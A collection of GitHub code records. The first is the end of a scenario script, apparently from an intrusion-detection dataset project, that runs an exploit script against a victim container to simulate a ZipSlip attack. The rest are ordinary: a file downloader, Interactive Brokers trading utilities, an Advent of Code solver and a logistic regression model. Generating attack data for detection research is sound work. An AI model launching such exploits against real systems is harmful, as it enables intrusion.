command=ExecCommand(\"python3 /home/exploit.py ${victim}\"))\n\n zipslip_scenario = ZipSlip(\n victim=victim,\n normal=normal,\n exploit=exploit,\n wait_times=wait_times,\n warmup_time=3,\n recording_time=recording_time,\n storage_services=storage_services,\n exploit_start_time=exploit_time\n )\n zipslip_scenario()\n","repo_name":"LID-DS/LID-DS","sub_path":"scenarios/ZipSlip/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2489,"program_lang":"python","lang":"en","doc_type":"code","stars":39,"dataset":"github-code","pt":"67"} +{"seq_id":"10392606873","text":"# -*- coding: utf-8 -*-\nimport sys\nimport urlparse\nimport os.path\nimport logging\nfrom binascii import a2b_hex\nfrom binascii import b2a_hex\nfrom hashlib import md5\n\nimport requests\n\n\nlogger = logging.getLogger(__name__)\n\n\ndef main():\n logging.basicConfig()\n logger.setLevel(logging.DEBUG)\n\n url = sys.argv[1]\n dst = sys.argv[2]\n md5_given = a2b_hex(sys.argv[3])\n result = urlparse.urlparse(url)\n\n filename = os.path.basename(result.path)\n\n if not os.path.exists(dst):\n destination_path = dst\n logger.debug('%s not exists: destination=%s', dst, destination_path)\n else:\n if os.path.isdir(dst):\n destination_path = os.path.join(dst, filename)\n logger.debug('%s is a directory: destination=%s', dst,\n destination_path)\n else:\n destination_path = dst\n\n if os.path.exists(destination_path):\n md5_existing = md5_file(destination_path)\n if md5_given == md5_existing:\n logger.debug('%s exists: skipped', destination_path)\n return\n\n response = requests.get(url, stream=True)\n response.raise_for_status()\n with open(destination_path, 'wb') as f:\n copy_stream(response.raw, f)\n\n md5_downloaded = md5_file(destination_path)\n if md5_given != md5_downloaded:\n logger.error('md5 not match: %s', b2a_hex(md5_downloaded))\n raise SystemExit(1)\n\n\ndef copy_stream(src, dst):\n while True:\n data = src.read(16384)\n if len(data) == 0:\n break\n dst.write(data)\n\n\ndef md5_file(path):\n with open(path, 'rb') as f:\n m = md5('')\n while True:\n data = f.read(16384)\n if len(data) == 0:\n break\n m.update(data)\n return m.digest()\n","repo_name":"mete0r/pyhwp","sub_path":"tools/download/pyhwp_download.py","file_name":"pyhwp_download.py","file_ext":"py","file_size_in_byte":1786,"program_lang":"python","lang":"en","doc_type":"code","stars":236,"dataset":"github-code","pt":"67"} +{"seq_id":"24252926026","text":"from ibapi.client import EClient\nfrom ibapi.wrapper import EWrapper\nfrom ibapi.contract import Contract\nfrom ibapi.order import Order\nfrom ibapi.scanner import ScannerSubscription\nfrom ibapi.ticktype import TickTypeEnum\nfrom ibapi.common import * #for TickerId type\n\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport pandas as pd\nimport numpy as np\nfrom bs4 import BeautifulSoup\nfrom datetime import datetime\nfrom time import sleep, strftime, localtime,time \n\nsleeptime = 3\n\n# Read Data\n#########################################################\n#########################################################\n\ndef read_ohlcv(reqId, symbol, sec_type, exch, prim_exch, curr, durationStr, barSizeSetting):\n\n contract = Contract()\n contract.symbol = symbol\n contract.secType = sec_type\n contract.exchange = exch\n contract.primaryExchange = prim_exch\n contract.currency = curr\n\n class TestApp(EWrapper, EClient):\n\n def __init__(self):\n EClient.__init__(self,self)\n\n self.historicaldata = pd.DataFrame([], columns = ['Open', 'High', 'Low', 'Close', 'Volume'])\n \n\n def error(self, reqId:TickerId, errorCode:int, errorString:str):\n if reqId > -1:\n print(\"Error. Id: \" , reqId, \" Code: \" , errorCode , \" Msg: \" , errorString)\n \n def historicalData(self,reqId, bar):\n\n self.historicaldata.index.name = 'Date'\n self.historicaldata.loc[bar.date] = bar.open, bar.high, bar.low, bar.close, bar.volume \n\n def historicalDataEnd(self, reqId: int, start: str, end: str):\n super().historicalDataEnd(reqId, start, end)\n print(\"HistoricalDataEnd. ReqId:\", reqId, \"from\", start, \"to\", end)\n self.disconnect()\n \n\n \n app = TestApp()\n app.connect('127.0.0.1', 7497, 0)\n \n app.reqHistoricalData(reqId = reqId, \n contract = contract, \n endDateTime = '', \n durationStr = durationStr, \n barSizeSetting = barSizeSetting, \n whatToShow = 'TRADES',\n useRTH = 1, # =1 for RTH data\n formatDate = 1,\n keepUpToDate = False,\n chartOptions = [])\n \n ohlcv = app.historicaldata\n app.run()\n print ('Creating OHLCV dataframe ...')\n sleep(sleeptime)\n \n return ohlcv\n\n\ndef read_scanner(reqId, numberOfRows, instrument, locationCode, abovePrice,\n aboveVolume, belowPrice, marketCapAbove, marketCapBelow, \n moodyRatingAbove, moodyRatingBelow, spRatingAbove, spRatingBelow, scanCode):\n\n scanSub = ScannerSubscription()\n scanSub.numberOfRows = numberOfRows\n scanSub.instrument = instrument\n scanSub.locationCode = locationCode\n scanSub.abovePrice = abovePrice\n scanSub.aboveVolume = aboveVolume \n scanSub.belowPrice = belowPrice\n scanSub.marketCapAbove = marketCapAbove\n scanSub.marketCapBelow = marketCapBelow\n scanSub.moodyRatingAbove = moodyRatingAbove\n scanSub.moodyRatingBelow = moodyRatingBelow\n scanSub.spRatingAbove = spRatingAbove\n scanSub.spRatingBelow = spRatingBelow \n scanSub.scanCode = scanCode\n\n class TestApp(EWrapper, EClient):\n\n def __init__(self):\n EClient.__init__(self,self)\n\n self.scannerdata = pd.DataFrame(index = [], columns = ['Symbol', 'SecType' , 'Currency', 'primaryExchange', 'exchange', 'Distance', 'Benchmark', 'Projection', 'Legs String'])\n\n def error(self, reqId:TickerId, errorCode:int, errorString:str):\n if reqId > -1:\n print(\"Error. Id: \" , reqId, \" Code: \" , errorCode , \" Msg: \" , errorString)\n\n def scannerData(self, reqId, rank, contractDetails, distance, benchmark, projection, legsStr):\n super().scannerData(reqId, rank, contractDetails, distance, benchmark,projection, legsStr)\n self.scannerdata.index.name = 'Rank'\n self.scannerdata.loc[rank] = [contractDetails.contract.symbol, contractDetails.contract.secType, contractDetails.contract.currency, contractDetails.contract.primaryExchange, contractDetails.contract.exchange, distance, benchmark, projection, legsStr] \n\n def scannerDataEnd(self, reqId: int):\n print(\"ScannerDataEnd. ReqId:\", reqId)\n self.disconnect()\n\n app = TestApp()\n app.connect('127.0.0.1', 7497, 0) \n\n app.reqScannerSubscription(reqId = reqId, subscription = scanSub,\n scannerSubscriptionOptions = [],\n scannerSubscriptionFilterOptions = [])\n\n scanner = app.scannerdata\n \n app.run()\n sleep(sleeptime)\n \n return scanner\n\ndef read_fundamental(reqId, symbol, sec_type, exch, prim_exch, curr,reportType):\n \n\n contract = Contract()\n contract.symbol = symbol\n contract.secType = sec_type\n contract.exchange = exch\n contract.currency = curr\n contract.primaryExchange = prim_exch\n \n class TestApp(EWrapper, EClient):\n\n def __init__(self):\n EClient.__init__(self,self)\n \n self.fund = []\n \n def error(self, reqId:TickerId, errorCode:int, errorString:str):\n if reqId > -1:\n print(\"Error. Id: \" , reqId, \" Code: \" , errorCode , \" Msg: \" , errorString)\n \n def fundamentalData(self, reqId: TickerId, data: str):\n super().fundamentalData(reqId, data)\n print ('Reading XML data ...')\n parser = BeautifulSoup(data, 'lxml')\n self.fund.append(parser)\n self.disconnect()\n\n app = TestApp()\n app.connect('127.0.0.1', 7497, 0) \n app.reqFundamentalData(reqId = reqId,\n contract = contract, \n reportType = reportType, \n fundamentalDataOptions = [])\n\n fund = app.fund\n app.run()\n sleep(sleeptime)\n return fund[0]\n\n\n\ndef parse_resc(parser):\n \n print ('Parsing resc data started ...')\n resc = pd.DataFrame(index = [parser.find('name').text],\n columns = ['Exchange', 'Symbol', 'Sector', 'CLPRICE', 'SHARESOUT',\n 'MARKETCAP', '52WKHIGH', '52WKLOW'])\n resc_ann = pd.DataFrame()\n resc_q = pd.DataFrame()\n \n resc.iloc[:,0] = parser.find('exchange').text\n resc.iloc[:,1] = parser.findAll('secid')[2].text\n resc.iloc[:,2] = parser.findAll('sector')[0].text\n\n resc.iloc[:,3] = parser.findAll('marketdataitem')[0].text\n resc.iloc[:,4] = parser.findAll('marketdataitem')[1].text\n resc.iloc[:,5] = parser.findAll('marketdataitem')[2].text\n resc.iloc[:,6] = parser.findAll('marketdataitem')[3].text\n resc.iloc[:,7] = parser.findAll('marketdataitem')[4].text\n #resc.iloc[:,9] = parser.findAll('fyactual')[0].text\n \n annual = [];columns = [];quarter = []\n for item in parser.findAll('fyactual'):\n columns.append(item['type'].split()[0])\n for per in item.findAll('fyperiod'):\n if per['periodtype'] == 'A':\n annual.append(per['fyear'])\n if per['periodtype'] == 'Q':\n quarter.append('{}-{}'.format(per['endcalyear'],per['endmonth']))\n \n index = list(set(annual))\n index_q = list(set(quarter))\n resc_ann = pd.DataFrame(index = index, columns = columns).sort_index(axis = 0,ascending = False)\n resc_q = pd.DataFrame(index = index_q, columns = columns).sort_index(axis = 0,ascending = False)\n \n for item in parser.findAll('fyactual'):\n for per in item.findAll('fyperiod'):\n \n if per['periodtype'] == 'Q':\n try:\n resc_q.loc['{}-{}'.format(per['endcalyear'],per['endmonth']),item['type'].split()[0]] = float(per.find('actvalue').text)\n except:\n resc_q.loc['{}-{}'.format(per['endcalyear'],per['endmonth']),item['type'].split()[0]] = np.nan \n \n if per['periodtype'] == 'A':\n try:\n resc_ann.loc[per['fyear'],item['type'].split()[0]] = float(per.find('actvalue').text)\n except:\n resc_ann.loc[per['fyear'],item['type'].split()[0]] = np.nan\n \n return resc, resc_ann, resc_q\n\ndef parse_reportsnapshot(parser):\n\n print ('Parsing reportsnapshot data started...')\n business_summary = parser.findAll('text')[0].text\n brief = parser.findAll('text')[1].text\n \n try:\n s0 = parser.find('contactinfo').find('streetaddress').text,\n s1 = parser.find('contactinfo').find('city').text,\n s2 = parser.find('contactinfo').find('state-region').text,\n s3 = parser.find('contactinfo').find('country').text\n except:\n s0 = np.nan; s1 = np.nan; s2 = np.nan; s3 = np.nan\n \n address = '{},{},{},{}'.format(s0,s1,s2,s3)\n \n try:\n name = parser.findAll('coid')[1].text\n except:\n name = np.nan\n try:\n ct = parser.find('cotype').text\n except:\n ct = np.nan\n try:\n desc = parser.findAll('issue')[0]['desc']\n except:\n desc = np.nan\n try:\n exc = parser.findAll('exchange')[0].text\n except:\n exc = np.nan\n try:\n ind = parser.findAll('industry')[0].text\n except:\n ind = np.nan\n try:\n index = parser.find('indexconstituet').text\n except:\n index = np.nan\n \n snap = pd.DataFrame(index = [name],\n data = {'Company Type':ct,\n 'Desc':desc,\n 'Exchange':exc ,\n 'Industry':ind,\n 'Index': index})\n dicted = {};dicted_est = {}\n for i in range(len(parser.find('ratios').findAll('ratio'))):\n try:\n dicted[parser.find('ratios').findAll('ratio')[i]['fieldname']] = float(parser.find('ratios').findAll('ratio')[i].text)\n except:\n dicted[parser.find('ratios').findAll('ratio')[i]['fieldname']] = parser.find('ratios').findAll('ratio')[i].text\n \n ratio = pd.DataFrame(index = [parser.findAll('coid')[1].text], data = dicted)\n \n for i in range(len(parser.find('forecastdata').findAll('ratio'))):\n try:\n dicted_est[parser.find('forecastdata').findAll('ratio')[i]['fieldname']] = float(parser.find('forecastdata').findAll('ratio')[i].text)\n except:\n dicted_est[parser.find('forecastdata').findAll('ratio')[i]['fieldname']] = parser.find('forecastdata').findAll('ratio')[i].text\n \n estimate = pd.DataFrame(index = [parser.findAll('coid')[1].text], data = dicted_est)\n \n return snap, estimate, brief, business_summary, address\n \ndef parse_reportsfinsummary(parser):\n \n print ('Parsing reportsfinsummary data started...')\n \n date_div = [];data_div = []\n \n for i in parser.findAll('dividendpershare'):\n if i['period'] == '12M' and i['reporttype'] == 'TTM':\n \n date_div.append(i['asofdate'])\n try:\n data_div.append(float(i.text))\n except:\n data_div.append(np.nan)\n \n data_rev = []\n for i in parser.findAll('totalrevenue'):\n if i['period'] == '12M' and i['reporttype'] == 'TTM':\n try:\n data_rev.append(float(i.text))\n except:\n data_rev.append(np.nan)\n \n data_eps = []\n for i in parser.findAll('eps'):\n if i['period'] == '12M' and i['reporttype'] == 'TTM':\n try:\n data_eps.append(float(i.text))\n except:\n data_eps.append(np.nan)\n\n fin = pd.DataFrame(index = date_div,\n data = {'Dividend Per Share(TTM)':data_div,\n 'Total Revenue(TTM)':data_rev, \n 'EPS(TTM)':data_eps}).sort_index(axis = 0,ascending = False)\n return fin\n\ndef parse_reportsfinstatements(parser):\n \n print ('Parsing reportsfinstatements data started...')\n mapp = dict()\n for item in parser.findAll('mapitem'):\n mapp[item['coaitem']] = item.text\n \n \n #ANNUAL\n index = [];columns = []\n for item in parser.findAll('annualperiods')[0].findAll('fiscalperiod'):\n index.append(datetime.strptime(item['fiscalyear'], '%Y').year)\n \n for i in parser.findAll('annualperiods')[0].findAll('fiscalperiod')[0].findAll('lineitem'):\n columns.append(mapp[i['coacode']])\n\n annual = pd.DataFrame(index = index, columns = columns)\n annual.index.name = 'Annual'\n for item in parser.findAll('annualperiods')[0].findAll('fiscalperiod'):\n for i in item.findAll('lineitem'):\n try:\n annual.loc[datetime.strptime(item['fiscalyear'], '%Y').year,mapp[i['coacode']]] = float(i.text)\n except:\n annual.loc[datetime.strptime(item['fiscalyear'], '%Y').year,mapp[i['coacode']]] = np.nan\n \n # QUARTER\n index_q = [];columns_q = []\n for item in parser.findAll('interimperiods')[0].findAll('fiscalperiod'):\n index_q.append(datetime.strptime(item['enddate'], '%Y-%m-%d').date())\n \n for i in parser.findAll('interimperiods')[0].findAll('fiscalperiod')[0].findAll('lineitem'):\n columns_q.append(mapp[i['coacode']])\n\n quarter = pd.DataFrame(index = index_q, columns = columns_q)\n quarter.index.name = 'Quarter'\n for item in parser.findAll('interimperiods')[0].findAll('fiscalperiod'):\n for i in item.findAll('lineitem'):\n try:\n quarter.loc[datetime.strptime(item['enddate'], '%Y-%m-%d').date(),mapp[i['coacode']]] = float(i.text)\n except:\n quarter.loc[datetime.strptime(item['enddate'], '%Y-%m-%d').date(),mapp[i['coacode']]] = np.nan\n \n return quarter, annual\n\n# DataFrame\n#########################################################\n######################################################### \n\ndef create_info_dataframe(universe, historical_data):\n \n print ('Creating historical information dataframe...')\n \n sector = pd.DataFrame(index = historical_data.index , columns = universe)\n exchange = pd.DataFrame(index = historical_data.index , columns = universe)\n name = pd.DataFrame(index = historical_data.index , columns = universe)\n indx = pd.DataFrame(index = historical_data.index , columns = universe)\n desc = pd.DataFrame(index = historical_data.index , columns = universe)\n comptype = pd.DataFrame(index = historical_data.index , columns = universe)\n bs = {}\n \n for i,tick in enumerate(universe):\n \n RESC = read_fundamental(reqId = i,\n symbol = tick, \n sec_type = 'STK', \n exch = 'SMART', \n prim_exch = 'NASDAQ', \n curr = 'USD',\n reportType = 'RESC')\n\n reportsnapshot = read_fundamental(reqId=i,\n symbol = tick, \n sec_type = 'STK', \n exch = 'SMART', \n prim_exch = 'NASDAQ', \n curr = 'USD',\n reportType = 'ReportSnapshot')\n\n resc, resc_ann, resc_q = parse_resc(parser = RESC)\n snap, estimate, brief, business_summary, address = parse_reportsnapshot(parser = reportsnapshot)\n bs[tick] = [business_summary,address,brief]\n \n for date in historical_data.index:\n\n try:\n sector.loc[date,tick] = resc['Sector'][0]\n except:\n sector.loc[date,tick] = np.nan\n try:\n exchange.loc[date,tick] = resc['Exchange'][0]\n except:\n exchange.loc[date,tick] = np.nan\n try:\n name.loc[date,tick] = resc.index[0]\n except:\n name.loc[date,tick] = np.nan\n try:\n indx.loc[date,tick] = snap['Index'][0]\n except:\n indx.loc[date,tick] = np.nan \n try:\n desc.loc[date,tick] = snap['Desc'][0]\n except:\n desc.loc[date,tick] = np.nan \n try:\n comptype.loc[date,tick] = snap['Company Type'][0]\n except:\n comptype.loc[date,tick] = np.nan\n \n return sector, exchange, name, indx, bs, desc, comptype\n\ndef create_factor_dataframe(universe, historical_data, factors):\n \n result = {}\n \n for factor in factors:\n\n df = pd.DataFrame(index = historical_data.index,data = [], columns = universe)\n \n for i,tick in enumerate(universe):\n print ('Creating {} dataframe for {}'.format(factor,tick))\n \n reportsfinstatements = read_fundamental(reqId = i,\n symbol = tick, \n sec_type = 'STK', \n exch = 'SMART', \n prim_exch = 'NASDAQ', \n curr = 'USD',\n reportType = 'ReportsFinStatements')\n\n quarter, annual = parse_reportsfinstatements(parser = reportsfinstatements)\n \n for date in historical_data.index:\n\n try:\n\n if int(datetime.strptime(str(date), \"%Y%m%d\").timestamp()) >= int(datetime.strptime(str(quarter.index[0]), '%Y-%m-%d').timestamp()):\n try:\n df.loc[date,tick] = quarter.loc[quarter.index[0],factor]\n except:\n df.loc[date,tick] = np.nan \n\n elif int(datetime.strptime(str(date), \"%Y%m%d\").timestamp()) < int(datetime.strptime(str(quarter.index[0]), '%Y-%m-%d').timestamp()) and int(datetime.strptime(str(date), \"%Y%m%d\").timestamp()) >= int(datetime.strptime(str(quarter.index[1]), '%Y-%m-%d').timestamp()):\n try:\n df.loc[date,tick] = quarter.loc[quarter.index[1],factor]\n except:\n df.loc[date,tick] = np.nan \n\n elif int(datetime.strptime(str(date), \"%Y%m%d\").timestamp()) < int(datetime.strptime(str(quarter.index[1]), '%Y-%m-%d').timestamp()) and int(datetime.strptime(str(date), \"%Y%m%d\").timestamp()) >= int(datetime.strptime(str(quarter.index[2]), '%Y-%m-%d').timestamp()):\n try:\n df.loc[date,tick] = quarter.loc[quarter.index[2],factor]\n except:\n df.loc[date,tick] = np.nan \n\n\n elif int(datetime.strptime(str(date), \"%Y%m%d\").timestamp()) < int(datetime.strptime(str(quarter.index[2]), '%Y-%m-%d').timestamp()) and int(datetime.strptime(str(date), \"%Y%m%d\").timestamp()) >= int(datetime.strptime(str(quarter.index[3]), '%Y-%m-%d').timestamp()):\n try:\n df.loc[date,tick] = quarter.loc[quarter.index[3],factor]\n except:\n df.loc[date,tick] = np.nan \n\n\n elif int(datetime.strptime(str(date), \"%Y%m%d\").timestamp()) < int(datetime.strptime(str(quarter.index[3]), '%Y-%m-%d').timestamp()) and int(datetime.strptime(str(date), \"%Y%m%d\").timestamp()) >= int(datetime.strptime(str(quarter.index[4]), '%Y-%m-%d').timestamp()):\n try:\n df.loc[date,tick] = quarter.loc[quarter.index[4],factor]\n except:\n df.loc[date,tick] = np.nan \n except:\n df.loc[date,tick] = np.nan\n \n result[factor] = df\n return result\n\ndef create_technical_dataframe(universe, historical_data, duration):\n print ('Creating historical technical dataframe...')\n \n close = pd.DataFrame(index = historical_data.index , columns = universe)\n openn = pd.DataFrame(index = historical_data.index , columns = universe)\n high = pd.DataFrame(index = historical_data.index , columns = universe)\n low = pd.DataFrame(index = historical_data.index , columns = universe)\n volume = pd.DataFrame(index = historical_data.index , columns = universe)\n \n for tick in universe:\n print ('{}'.format(tick))\n ohlcv = read_ohlcv(reqId = 0,\n symbol = tick, \n sec_type = 'STK', \n exch = 'SMART', \n prim_exch = 'NASDAQ', \n curr = 'USD',\n durationStr = duration,\n barSizeSetting = '1 day')\n \n close[tick] = ohlcv['Close']\n openn[tick] = ohlcv['Open']\n low[tick] = ohlcv['Low']\n high[tick] = ohlcv['High']\n volume[tick] = ohlcv['Volume']\n \n return openn, high, low, close, volume\n \n \n \n\ndef create_multiindex_factor_dataframe(universe, historical_data, factors):\n \n start_time = time()\n print ('Fetching data into multiindex dataframe...')\n result = []\n result_dict = create_factor_dataframe(universe, historical_data, factors)\n sector, exchange, name, indx, bs, desc, comptype = create_info_dataframe(universe, historical_data)\n openn, high, low, close, volume = create_technical_dataframe(universe, historical_data)\n \n for factor in factors:\n\n df = result_dict[factor].stack().to_frame(factor)\n result.append(df)\n \n sector = sector.stack().to_frame('Sector')\n exchange = exchange.stack().to_frame('Exchange')\n name = name.stack().to_frame('Name')\n comptype = comptype.stack().to_frame('Company Type')\n desc = desc.stack().to_frame('Desc') \n indx = indx.stack().to_frame('Index')\n volume = volume.stack().to_frame('Volume')\n close = close.stack().to_frame('Close')\n \n result.append(close)\n result.append(volume)\n result.append(sector)\n result.append(exchange)\n result.append(name)\n result.append(indx)\n result.append(desc)\n result.append(comptype)\n \n final = pd.concat(result,axis=1)\n final.index.levels[1].name = 'Symbol' \n print(\"--- %s seconds ---\" % (time() - start_time))\n \n return final,bs \n\n\n#ORDERS\n#########################################################\n######################################################### \n\ndef read_nextvalidid(reqId):\n\n class TestApp(EWrapper, EClient):\n\n def __init__(self):\n EClient.__init__(self,self)\n\n self.nextValidOrderId = []\n \n\n def error(self, reqId:TickerId, errorCode:int, errorString:str):\n if reqId > -1:\n print(\"Error. Id: \" , reqId, \" Code: \" , errorCode , \" Msg: \" , errorString)\n \n def nextValidId(self,orderId):\n super().nextValidId(orderId)\n self.nextValidOrderId.append(orderId)\n print(\"NextValidId:\", orderId)\n self.disconnect()\n \n app = TestApp()\n app.connect('127.0.0.1', 7497, 0)\n \n app.reqIds(-1)\n nid = app.nextValidOrderId\n \n app.run()\n sleep(sleeptime)\n \n return nid[0]\n\ndef placing_orders(orderId, reqId, symbol, sec_type, exch, prim_exch, curr, order_type, quantity, action, positions):\n \n contract = Contract()\n contract.symbol = symbol\n contract.secType = sec_type\n contract.exchange = exch\n contract.primaryExchange = prim_exch\n contract.currency = curr\n \n order = Order()\n order.orderType = order_type\n order.totalQuantity = quantity\n order.action = action\n\n class TestApp(EWrapper, EClient):\n\n def __init__(self):\n EClient.__init__(self,self)\n\n def error(self, reqId:TickerId, errorCode:int, errorString:str):\n if reqId > -1:\n print(\"Error. Id: \" , reqId, \" Code: \" , errorCode , \" Msg: \" , errorString)\n\n app = TestApp()\n app.connect('127.0.0.1', 7497, 0)\n\n if contract.symbol in positions.index:\n order.totalQuantity = int(order.totalQuantity) - int(positions.loc[contract.symbol,'Position'])\n app.placeOrder(orderId = orderId, contract = contract, order = order)\n print ('{} positions of {} already in portfolio '.format(positions.loc[contract.symbol,'Position'],contract.symbol))\n print ('New order quantity placed is: {}'.format(order.totalQuantity))\n \n else:\n app.placeOrder(orderId = orderId, contract = contract, order = order)\n print ('order quantity placed for {} is: {} '.format(contract.symbol, order.totalQuantity))\n \n sleep(sleeptime)\n \n return order, contract\n\n app.disconnect()\n app.run()\n\n\ndef read_positions(subscribe, acctCode):\n \n class TestApp(EWrapper, EClient):\n\n\n def __init__(self):\n EClient.__init__(self,self)\n self.up = pd.DataFrame([], columns = ['Position', 'marketPrice', 'marketValue', 'averageCost', 'unrealizedPNL', 'realizedPNL'])\n \n \n def error(self, reqId:TickerId, errorCode:int, errorString:str):\n if reqId > -1:\n print(\"Error. Id: \" , reqId, \" Code: \" , errorCode , \" Msg: \" , errorString)\n \n def updatePortfolio (self, contract, position, marketPrice, marketValue, averageCost, unrealizedPNL, realizedPNL, accountName):\n self.up.index.name = 'Symbol' \n self.up.loc[contract.symbol] = position, marketPrice, marketValue, averageCost, unrealizedPNL, realizedPNL\n \n def positionEnd(self):\n super().positionEnd()\n print(\"PositionEnd\")\n self.disconnect()\n\n \n app = TestApp()\n app.connect('127.0.0.1', 7497, 0)\n \n app.reqAccountUpdates(subscribe = subscribe,acctCode = acctCode)\n app.reqPositions()\n \n update = app.up\n \n app.run()\n \n sleep(sleeptime)\n print ('Reading Portfolio')\n return update\n\n#PREPROCESSING\n#########################################################\n######################################################### \n\ndef cleaning_multiindex_dataframe(df, pernan_to_drop):\n print ('Cleaning data')\n\n subset = df.select_dtypes(exclude=[np.float, np.int])\n col_len = len(subset.columns)\n\n df = df.iloc[:,:-col_len]\n df_cleaned = df.apply(pd.to_numeric, errors='coerce')\n df_cleaned.replace([0,-1], np.nan, inplace=True)\n\n total = df_cleaned.isna().sum().sort_values(ascending=False)\n percent = (df_cleaned.isna().sum()/df_cleaned.isna().count()).sort_values(ascending=False)\n nan_df_cleaned = pd.concat([total, percent], axis=1, keys=['Total', 'Percent'])\n\n f, ax = plt.subplots(figsize=(20, 10))\n\n for tick in ax.xaxis.get_major_ticks():\n tick.label.set_fontsize(5)\n plt.xticks(rotation='90')\n\n sns.barplot(x=nan_df_cleaned.index, y=nan_df_cleaned['Percent'])\n plt.xlabel('Features', fontsize=15)\n plt.ylabel('Percent of nan values', fontsize=15)\n plt.title('Percent nan data by feature dataset', fontsize=15)\n plt.show()\n\n features_to_drop = nan_df_cleaned[nan_df_cleaned['Percent']>pernan_to_drop].index\n df_cleaned_dropna = df_cleaned.drop(features_to_drop, axis=1)\n\n\n print ('The percentage of dataframe dropped columns is {}%.'.format(int(((df_cleaned.shape[1] - df_cleaned_dropna.shape[1])/df_cleaned.shape[1])*100)))\n\n clean_df_fillna = df_cleaned_dropna.fillna(-1)\n\n return clean_df_fillna\n\ndef demean_multiindex(df):\n \n df_demean = df - df.mean(axis = 0, level = 0)\n\n return df_demean\n\ndef demean(df):\n \n df_demean = df.subtract(df.mean(axis=1), axis=0)\n\n return df_demean\n \ndef normalize_multiindex(df):\n \n df_norm = (df - df.min(axis = 0, level = 0)) / (df.max(axis = 0, level = 0) - df.min(axis = 0, level = 0))\n\n return df_norm\n\ndef rank_multiindex(df, ascending=False):\n \n ranked = df.groupby(level=0).rank(ascending=ascending)\n\n return ranked\n\ndef zscore(df):\n \n dfz = (df - df.mean(axis = 0))/df.std(axis = 0,ddof=0) \n \n return dfz \n ","repo_name":"webclinic017/ibkr-2","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":28551,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"19944490137","text":"import numpy as np\n\ndef total_displacement(file_name, use_aim=False):\n \"\"\"Calculate total displacement given directions in a file.\"\"\"\n data = np.loadtxt(file_name, dtype=str)\n direction = data[:, 0]\n magnitude = data[:, 1].astype(int)\n magnitude[direction == 'up'] *= -1 # Vertical unit points down\n\n is_forward = direction == 'forward'\n horizontal = magnitude[is_forward]\n \n # Vertical movement is all which are not forward\n vertical = np.zeros_like(magnitude)\n vertical[~is_forward] = magnitude[~is_forward]\n\n if use_aim:\n aim = np.cumsum(vertical)\n vertical = aim[is_forward] * horizontal\n \n return horizontal.sum(), vertical.sum()\n\nif __name__ == '__main__':\n # Command Line Interface (CLI)\n import argparse\n\n parser = argparse.ArgumentParser(\n description='Calculate total displacement of input file'\n )\n parser.add_argument('input_file', metavar='INPUT_FILE', type=str, \n help='input file name')\n parser.add_argument('-a', '--aim', action='store_true',\n help='use aim mode')\n args = parser.parse_args()\n\n h, v = total_displacement(args.input_file, args.aim) \n print(f'Horizontal = {h} units forward')\n print(f'Vertical = {v} units down')\n print(f'Product = {h*v} units squared')\n","repo_name":"alan-turing-institute/advent-of-code-2021","sub_path":"day-02/python_alexlyttle/navigate.py","file_name":"navigate.py","file_ext":"py","file_size_in_byte":1333,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"67"} +{"seq_id":"35802599655","text":"import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\nclass Logistic:\n def __init__(self, feature_size, alpha, N) -> None:\n\n #初始化系数矩阵,系数权重为1\n self.theta = np.ones((feature_size, 1))\n\n #设置超参数\n self.alpha = alpha\n self.N = N\n\n #sigmoid函数\n def sigmoid(self, data):\n return (1 / (1 + np.exp(-data)))\n\n #模型预测函数\n def predict(self, data):\n #将大于0.5的变成1,小于0.5的变成0\n\n label_pred = np.where(self.forward(data) > 0.5, 1, 0)\n return label_pred\n\n #模型计算置信度\n def forward(self, data):\n label_pos = self.sigmoid(np.dot(data, self.theta))\n return label_pos\n\n #模型损失以及梯度计算函数\n def costFunction(self, data, label):\n m = len(label)\n #模型分类数据\n h = self.sigmoid(np.dot(data, self.theta))\n #将预测计算中不合格数据矫正\n one_index, zero_index = np.where(h >= 1), np.where(h <= 0)\n h[one_index] = 1 - 1e-10\n h[zero_index] = 1e-10\n #损失值\n loss = (-1 / m) * np.sum(label * np.log(h) +\n (1 - label) * np.log(1 - h))\n #梯度\n grad = (1 / m) * np.dot(data.T, (h - label))\n return loss, grad\n\n def fit(self, data, label):\n #开始使用梯度训练模型\n loss = []\n for i in range(self.N):\n per_loss, grad = self.costFunction(data, label)\n self.theta = self.theta - self.alpha * grad #模型更新\n loss.append(per_loss)\n return loss\n\n\n#数据标准化函数\ndef data_normlization(data):\n m, n = data.shape\n tempdata = data.copy()\n #对每一中属性的所有数据进行标准化\n for i in range(n):\n mu = np.mean(tempdata[:, i])\n sigma = np.std(tempdata[:, i])\n tempdata[:, i] = (tempdata[:, i] - mu) / sigma\n return tempdata\n\n\n#读取数据函数,返回属性和标签\ndef read_data(filename):\n data = pd.read_csv(filename, header=None).values.astype(float)\n return data[:, -1], data[:, :-1]\n\n\nif __name__ == '__main__':\n train_filename = '数据集//训练集//breast_cancer.csv'\n test_filename = '数据集//测试集//breast_cancer.csv'\n train_label, train_data = read_data(train_filename)\n test_label, test_data = read_data(test_filename)\n train_label = train_label.reshape((-1, 1))\n test_label = test_label.reshape((-1, 1))\n train_data = data_normlization(train_data)\n test_data = data_normlization(test_data)\n\n #改变训练集维度,为x加一维\n train_data = np.concatenate((np.ones(\n (train_data.shape[0], 1)), train_data),\n axis=1)\n test_data = np.concatenate((np.ones((test_data.shape[0], 1)), test_data),\n axis=1)\n\n data_num = train_data.shape[0]\n feature_size = train_data.shape[1]\n\n #设置超参数\n alpha = 0.1\n N = 500\n\n model = Logistic(feature_size, alpha, N)\n loss = model.fit(train_data, train_label)\n results = model.predict(test_data)\n print(np.sum(results == test_label) / test_label.shape[0])\n plt.plot(loss)\n plt.show()\n","repo_name":"sunwuzhou03/Basic-Machine-Learning-Algorithm","sub_path":"Machine Learning Course Design 1/机器学习理论课设/模型文件/逻辑回归.py","file_name":"逻辑回归.py","file_ext":"py","file_size_in_byte":3241,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"1237296854","text":"import os\nimport argparse\n\nfrom pdfminer.high_level import extract_text\nfrom brary.vss import cls_pooling, mean_pooling, cosine_similarity, l2_distance \n\nimport numpy as np\n\nimport torch\nfrom 